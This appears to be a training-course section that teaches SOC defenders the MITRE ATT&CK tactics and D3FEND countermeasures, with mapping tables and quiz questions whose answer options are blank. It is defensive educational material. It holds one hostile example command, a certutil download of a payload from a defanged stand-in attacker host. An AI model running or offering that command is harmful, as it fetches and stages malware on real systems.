3.3 MITRE ATT&CK and MITRE D3FEND Frameworks for SOC Defense

Key Takeaways

  • MITRE ATT&CK is an empirically grounded, globally accessible knowledge base of adversary tactics, techniques, and procedures (TTPs) based on real-world observations.
  • The current Enterprise ATT&CK matrix has 15 tactics representing adversary goals; the tactics are not a required chronological sequence.
  • ATT&CK Navigator enables SOC teams to visualize detection coverage, conduct gap analyses, score detection maturity, and profile threat actor behaviors.
  • MITRE D3FEND is a countermeasure knowledge graph whose current interface groups techniques under Model, Harden, Detect, Isolate, Deceive, Evict, and Restore.
  • Cross-mapping ATT&CK offensive techniques to D3FEND defensive countermeasures establishes a rigorous, measurable foundation for SOC detection engineering.
Last updated: September 2026

The MITRE ATT&CK Architecture

The MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) framework is the de facto global standard for modeling cyber adversary behavior. Created in 2013 by the MITRE Corporation, ATT&CK catalogs the observed post-compromise actions taken by advanced persistent threat (APT) groups against enterprise environments.

The Core Structural Hierarchy

  1. Tactics (The "Why"): The adversary's tactical objective. Represents the high-level operational goal of an action.
  2. Techniques (The "How"): The specific technical method utilized to accomplish a tactical objective.
  3. Sub-techniques: Granular subdivisions of techniques that capture specific technical variations without bloating the matrix (e.g., Technique T1059: Command and Scripting Interpreter contains Sub-technique T1059.001: PowerShell and T1059.003: Windows Command Shell).
  4. Procedures (The "What"): The specific, real-world implementation, code syntax, or command parameters executed by a known threat actor or malware family (e.g., APT28 using certutil.exe -urlcache -split -f http://evil[.]com/payload.exe to download a binary).

The Matrices within ATT&CK

  • Enterprise Matrix: Covers Windows, macOS, Linux, Cloud (AWS, Azure, GCP, Microsoft 365, Google Workspace, IaaS), Network Devices, and Containers (Docker, Kubernetes).
  • Mobile Matrix: Models adversary behaviors targeting Android and iOS mobile devices.
  • ICS Matrix: Catalogs adversary behaviors targeting Industrial Control Systems, SCADA environments, and critical infrastructure equipment.

The 15 Current Enterprise ATT&CK Tactics

The current Enterprise ATT&CK Matrix contains 15 tactics. A tactic is an adversary goal—the “why” behind a technique—not a mandatory chronological step. Real intrusions can skip, repeat, or pursue several tactics at once:

Tactic IDTactic NameCore Operational ObjectiveExemplary Techniques & Sub-techniquesPrimary SOC Telemetry Sources
TA0043ReconnaissanceGather information to plan future adversary operationsActive Scanning (T1595), Search Open Technical Databases (T1596)Edge firewall logs, web server access logs, threat intelligence alerts
TA0042Resource DevelopmentEstablish resources to support operations (infrastructure, accounts)Acquire Infrastructure (T1583), Develop Capabilities (T1587)Threat feed correlation, WHOIS / domain registration tracking
TA0001Initial AccessGain an initial foothold inside the enterprise networkPhishing (T1566), Exploit Public-Facing Application (T1190), Valid Accounts (T1078)Email gateway logs, WAF alerts, VPN authentication logs
TA0002ExecutionRun malicious code on local or remote systemsCommand & Scripting Interpreter (T1059), Scheduled Task (T1053), WMI (T1047)EDR process creation (Sysmon EID 1, Security EID 4688)
TA0003PersistenceMaintain access across restarts, changed credentials, or logoffsBoot/Logon Autostart (T1547), Create Account (T1136), Web Shell (T1505.003)File Integrity Monitoring (FIM), Sysmon EID 11/12/13
TA0004Privilege EscalationGain higher-level permissions (SYSTEM, root, Domain Admin)Process Injection (T1055), Abuse Elevation Control (T1548 - UAC Bypass)EDR behavioral memory monitors, Windows Security EID 4672
TA0005StealthHide actions and appear like normal behaviorMasquerading, obfuscation, and indicator removalProcess, file, command-line, and audit telemetry
TA0112Defense ImpairmentBreak security mechanisms, pipelines, or tools so defenders cannot see or trust activityDisable or Modify Tools (T1685), Disable or Modify System Firewall (T1686)EDR health, service state, firewall policy, and logging-pipeline monitoring
TA0006Credential AccessSteal account names, passwords, hashes, and Kerberos ticketsOS Credential Dumping (T1003 - LSASS), Kerberoasting (T1558.003)Domain Controller EID 4769 (Kerberos TGS), EDR handle inspection
TA0007DiscoveryGain knowledge about internal network and system postureNetwork Service Discovery (T1046), Account Discovery (T1087)Command line logging, internal network flow anomalies
TA0008Lateral MovementExtend access and pivot across other systems on the networkRemote Services (T1021 - RDP/SMB), Pass the Hash (T1550.002)Windows Security EID 4624 (Logon Type 3/10), SMB traffic logs
TA0009CollectionAggregate data of interest for exfiltrationArchive Collected Data (T1560), Screen Capture (T1113)Process creation for archiving utilities (7z, rar), file read volume
TA0011Command & ControlCommunicate with compromised systems to control themApplication Layer Protocol (T1071), Ingress Tool Transfer (T1105)NDR beaconing analysis, proxy logs, DNS query inspection
TA0010ExfiltrationSteal and transmit data out of the target environmentExfiltration Over C2 (T1041), Exfiltration Over Web Service (T1567)Data Loss Prevention (DLP) alerts, abnormal outbound bytes
TA0040ImpactManipulate, interrupt, or destroy operational systems and dataData Encrypted for Impact (T1486 - Ransomware), Service Stop (T1489)Mass file modification alerts, service termination events

ATT&CK Navigator for SOC Operations

The ATT&CK Navigator is a web-based visualization tool that allows SOC detection engineers and managers to perform critical operational assessments:

  • Detection Coverage Scoring: Mapping existing SIEM correlation rules and EDR detections across matrix cells. SOCs assign maturity scores to individual techniques:
    • Score 0 (Red / Blind Spot): No logging or telemetry exists; total visibility void.
    • Score 1 (Yellow / Telemetry Available): Telemetry is ingested into SIEM, but no automated alert or correlation logic is deployed.
    • Score 2 (Light Green / Automated Alert): High-fidelity detection rule fires automatically upon technique execution.
    • Score 3 (Dark Green / Validated & Tested): Detection logic has been verified via purple team adversary emulation (e.g., Atomic Red Team) and tuned against false positives.
  • Threat Group Profiling: Overlaying the known techniques of threat groups targeting the organization's vertical (e.g., overlaying FIN7 and Lazarus Group techniques) to identify overlapping techniques requiring immediate engineering priority.
  • Gap Analysis & Investment Planning: Demonstrating detection voids to executive leadership to justify budget allocations for new telemetry sources (e.g., deploying Sysmon to address blind spots in process creation logging).

The MITRE D3FEND Framework

While ATT&CK catalogs adversary behavior, MITRE D3FEND (Detection, Denial, and Disruption Framework Empowering Network Defense) is a knowledge graph of cybersecurity countermeasure techniques. D3FEND standardizes defensive vocabulary; MITRE explicitly notes that it does not prescribe, prioritize, or rate the effectiveness of countermeasures. Sponsored by the National Security Agency (NSA) and released in 2021, D3FEND provides a standardized vocabulary for defensive engineering.

Current D3FEND Defensive Tactic Groups

[MITRE D3FEND Defensive Tactic Groups]
Model   -> Asset inventories, network mapping, and vulnerability assessment
Harden  -> Application, credential, message, and platform hardening
Detect  -> File, identifier, message, network, process, and user analysis
Isolate -> Access mediation, content quarantine, execution and network isolation
Deceive -> Decoy environments, files, identities, tokens, and network resources
Evict   -> Credential, object, process, and session eviction
Restore -> Restore access, credentials, configurations, data, and software
  1. Model: Developing comprehensive asset inventories, network topologies, and mapping internal software dependencies (e.g., Asset Mapping, Network Mapping, System Vulnerability Assessment).
  2. Harden: Proactively reducing attack surface prior to attack execution (e.g., Application Hardening, Credential Hardening, enforcing Windows LSA Protection, configuring memory protections like ASLR/DEP).
  3. Detect: Observing and analyzing system artifacts and telemetry (for example, Process Lineage Analysis, Network Traffic Analysis, and File Integrity Monitoring).
  4. Isolate: Dynamically constraining system components to limit damage (e.g., container sandboxing, EDR endpoint network isolation, Micro-virtualization).
  5. Deceive: Deploying honeypots, canary tokens, and dummy service accounts to entice adversaries into revealing their presence (e.g., Decoy Environment, Decoy Object, Decoy Network).
  6. Evict: Removing adversary access or artifacts (for example, Credential Eviction, File Eviction, Process Termination, and Session Termination).
  7. Restore: Returning access, credentials, configurations, data, or software to a trusted operational state after defensive action.

Cross-Mapping ATT&CK to D3FEND

Detection engineering can relate offensive techniques to defensive techniques. D3FEND’s ATT&CK relationships are knowledge-graph aids and may be inferred or experimental, so validate them against the current release and the actual control:

Offensive ATT&CK TechniqueTechnical DescriptionDefensive D3FEND CountermeasureD3FEND IDD3FEND Technical Implementation
T1059: Command & Scripting InterpreterExecuting commands through PowerShell, CMD, Bash, or another interpreter.Process Lineage AnalysisD3-PLAAnalyze process ancestry and related metadata; treat the mapping as an investigative relationship, not a guarantee of maliciousness.
T1003.001: LSASS MemoryAttempting to obtain credentials from LSASS process memory.Application-based Process IsolationD3-ABPIIsolate process resources through operating-system mechanisms; exact implementations and effectiveness vary.
T1071 / malicious file delivery examplesScripts or files containing recognizable malicious patterns.File Content RulesD3-FCRApply a pattern-matching rule language such as YARA, with tuning and validation.
T1021.001: Remote Desktop ProtocolUsing RDP for remote access or lateral movement.Remote Terminal Session DetectionD3-RTSDDetect remote interactive terminal sessions from network evidence and correlate them with identity and host logs.
T1070.004: File DeletionDeleting malware artifacts or log files to evade detection.File Modification MonitoringD3-FMMDeploy write-once-read-many (WORM) centralized logging to ensure logs cannot be destroyed locally.
T1055: Process InjectionInjecting malicious code into memory space of running benign process.Dynamic Memory AnalysisD3-DMAEDR memory inspection monitoring Windows API calls (VirtualAllocEx, WriteProcessMemory).
T1566: PhishingDelivering weaponized attachments or credential harvesting links.Message Content AnalysisD3-MCAMail gateway detonation of attachments in isolated sandbox environments.
Loading diagram...
ATT&CK Goals and D3FEND Defensive Tactic Groups
Test Your Knowledge

A detection engineer is designing a defense against malicious Word documents spawning PowerShell. Under the MITRE D3FEND framework, which countermeasure capability specifically analyzes parent-child process execution relationships?

A
B
C
D
Test Your Knowledge

In the MITRE ATT&CK framework, what is the key distinction between a 'Technique' and a 'Procedure'?

A
B
C
D
Test Your Knowledge

A detection engineer uses YARA to match patterns in suspicious file content. Which current MITRE D3FEND technique explicitly lists YARA as an implementation?

A
B
C
D
Test Your Knowledge

Which MITRE ATT&CK tactic describes the adversary's operational objective of maintaining their foothold on a compromised system across operating system restarts, logoffs, and credential resets?

A
B
C
D